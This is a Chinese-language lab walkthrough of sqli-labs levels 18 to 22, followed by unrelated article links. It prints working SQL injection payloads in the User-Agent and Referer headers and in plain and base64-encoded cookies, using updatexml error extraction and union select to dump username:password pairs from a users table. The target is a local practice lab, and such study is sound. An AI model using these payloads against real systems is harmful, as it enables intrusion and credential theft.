Less18: User-Agent注入,有错误回显

感叹一句,越来越难了。现在只能先看代码再分析怎么注入了.....

通过代码,发现username和password均做了校验。但是会有一个插入user-agent的sql语句。故要通过user-agent注入。

用户名密码就假设已知为admin/admin了。

还是用updatexml函数,用Burp Suite更改user-agent字段为:

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0' or updatexml(0,concat(0x7e, (select a from (select concat(username,':',password) a from users limit 0,1)x)),1)) -- a

显示报错:XPATH syntax error: '~Dumb:Dumb'

Less19:

与Less18几乎一模一样,就是注入位置变为Referer了

修改Referer为:

http://127.0.0.1/sqli-labs-master/Less-19/' or updatexml(0,concat(0x7e, (select a from (select concat(username,':',password) a from users limit 0,1)x)),1)) -- a

Less20: Cookie注入,有回显

这个开始看了半天没看懂....后来发现原来少看了最前面那个判断是否有cookie的if。

代码逻辑是,如果没有cookie,则生成cookie;如果有cookie则显示cookie相关的信息。

代码中设置cookie时用到的用户名和密码都是有检查的,无法注入。所以要从已有cookie时的查询语句入手。

SELECT * FROM users WHERE username='$cookee' LIMIT 0,1

看到就是普通的select语句,可以直接通过闭合注入。

此外还要知道cookie的格式,从代码中可以看到setcookie('uname', $cookee, time()+3600); 键是uname

故通过Burp suite添加cookie

uname=' union select 1, group_concat(concat(username,':',password)),3 from users -- a

注意,我们并不需要知道真实的用户名和密码,直接通过构造cookie就可以获取数据了。

Less21:Cookie注入,有回显,base64编码

与20的区别是对cookie值用base64进行了编码。故需要将注入语句

') union select 1, group_concat(concat(username,':',password)),3 from users -- a

进行编码,具体Cookie处注入

uname=JykgdW5pb24gc2VsZWN0IDEsIGdyb3VwX2NvbmNhdChjb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSksMyBmcm9tIHVzZXJzIC0tIGE=

Less22:Cookie注入,有回显,base64编码

其实就是把之前的单引号换成双引号了。

明文:

" union select 1, group_concat(concat(username,':',password)),3 from users -- a

base64编码的注入信息:

uname=IiB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KGNvbmNhdCh1c2VybmFtZSwnOicscGFzc3dvcmQpKSwzIGZyb20gdXNlcnMgLS0gYQ==

另外提供一个updatexml报错版本

练习用的,想一次性获取所有数据失败了,无法显示那么长的信息,只显示了一截。还是要一条一条的获取。另外用updatexml时在写注入语句的时候前面要加个0x7e,即~符号,可以使信息更加完整。

" or updatexml(1, concat(0x7e,(select a from (select group_concat(concat(username,':',password)) a from users)x),0x7e),0) -- a

base64编码

uname=IiBvciB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsKHNlbGVjdCBhIGZyb20gKHNlbGVjdCBncm91cF9jb25jYXQoY29uY2F0KHVzZXJuYW1lLCc6JyxwYXNzd29yZCkpIGEgZnJvbSB1c2Vycyl4KSwweDdlKSwwKSAtLSBh

【sqli-labs】Less18~Less22的更多相关文章

  1. 【SEED Labs】Public-Key Infrastructure (PKI) Lab

    Lab Overview 公钥加密是当今安全通信的基础,但当通信的一方向另一方发送其公钥时,它会受到中间人的攻击.根本的问题是,没有简单的方法来验证公钥的所有权,即,给定公钥及其声明的所有者信息,如何 ...

  2. 【SEED Labs】DNS Rebinding Attack Lab

    Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/DNS_Rebinding/ 在这个实验中模拟的物联网设备 ...

  3. 【SEED Labs】TCP Attacks Lab

    Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/TCP_Attacks/ 本实验涵盖以下课题: • TCP ...

  4. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  5. 【移动端】300ms延迟以及点透事件原因以及解决方案

    产生原因 移动端会有双击缩放的这个操作,因此浏览器在click之后要等待300ms,看用户有没有下一次点击,也就是这次操作是不是双击 说完移动端点击300ms延迟的问题,还不得不提一下移动端点击穿透的 ...

  6. Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)【系列1】

    Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)[系列1] Android在加载或者处理超大巨型图片 ...

  7. SQLi_Labs通关文档【1-65关】

    SQLi_Labs通关文档[1-65关] 为了不干扰自己本机环境,SQL-LAB我就用的码头工人,跑起来的,搭建也非常简单,也就两条命令 docker pull acgpiano/sqli-labs ...

  8. 【AR实验室】mulberryAR : ORBSLAM2+VVSION

    本文转载请注明出处 —— polobymulberry-博客园 0x00 - 前言 mulberryAR是我业余时间弄的一个AR引擎,目前主要支持单目视觉SLAM+3D渲染,并且支持iOS端,但是该引 ...

  9. 【.net 深呼吸】细说CodeDom(1):结构大观

    CodeDom 是啥东东?Html Dom听过吧,XML Dom听过吧.DOM一般可翻译为 文档对象模型,那 Code + DOM呢,自然是指代码文档模型了.如果你从来没接触过 CodeDom,你大概 ...

随机推荐

  1. 【转】Python字符串格式化

    Python 支持格式化字符串的输出 .尽管这样可能会用到非常复杂的表达式,但最基本的用法是将一个值插入到一个有字符串格式符 %s 的字符串中. 在 Python 中,字符串格式化使用与 C 中 sp ...

  2. 织梦自定义表单ajax提交范例

    function add_ajaxmessage(){ var dh = document.getElementById("tel"); //表单验证 if($("#te ...

  3. Android视频压缩

    最推荐(使用方便,默认压缩为原来视频大小的1/4左右): https://blog.csdn.net/qq_35373333/article/details/79564991  https://git ...

  4. linux中的shell编程----基础

    1,运行shell脚本有两种办法一般有两种: 先给可执行权限,再进入文件所在的目录,输入:./name.sh: 运行解释器再执行脚本:/bin/sh name.sh,这种情况下,脚本中可以没有#!/b ...

  5. dubbo源码分析10——服务暴露1_export()方法分析

    ServiceConfig类中的export()方法,是dubbo服务暴露的入口方法,被触发的时机有两个: 1. spring容器初始化完成所有的bean实例后,通过事件机制触发 2. 实现Initi ...

  6. Python os.removedirs() 和shutil.rmtree() 用于删除文件夹

    概述 os.removedirs() 方法用于递归删除目录.像rmdir(), 如果子文件夹成功删除, removedirs()才尝试它们的父文件夹,直到抛出一个error(它基本上被忽略,因为它一般 ...

  7. hibernate框架学习之数据类型

  8. 【51nod1847】 奇怪的数学题

    就当我是 A 了此题吧... 首先预备知识有点多(因为题目要处理的东西都挺毒瘤): 杜教筛运用(当然你可以用其他筛?) 第二类斯特林数相关定理 下降阶乘幂相关定理 min25 筛运用 好了可以关掉本题 ...

  9. <TCP/IP>链路层小结

    图片和部分内容转载自Chang Zhao   这章大致介绍了以太网,以太网帧的格式,网桥和交换机,无线局域网(Wi-Fi),点到点协议,MTU(最大传输单元)的知识点,所谓链路,在此可以解释为 IP数 ...

  10. ThinkPHP框架整合phpqrcode生成二维码DEMO

    ThinkPHP框架发展到今天功能已经变得是非常强大了,但是ThinkPHP框架中没有二维码相关的库,因此我们可以通过整合phpqrcode来完成生成二维码的功能.想使用phpqrcode首先就要把p ...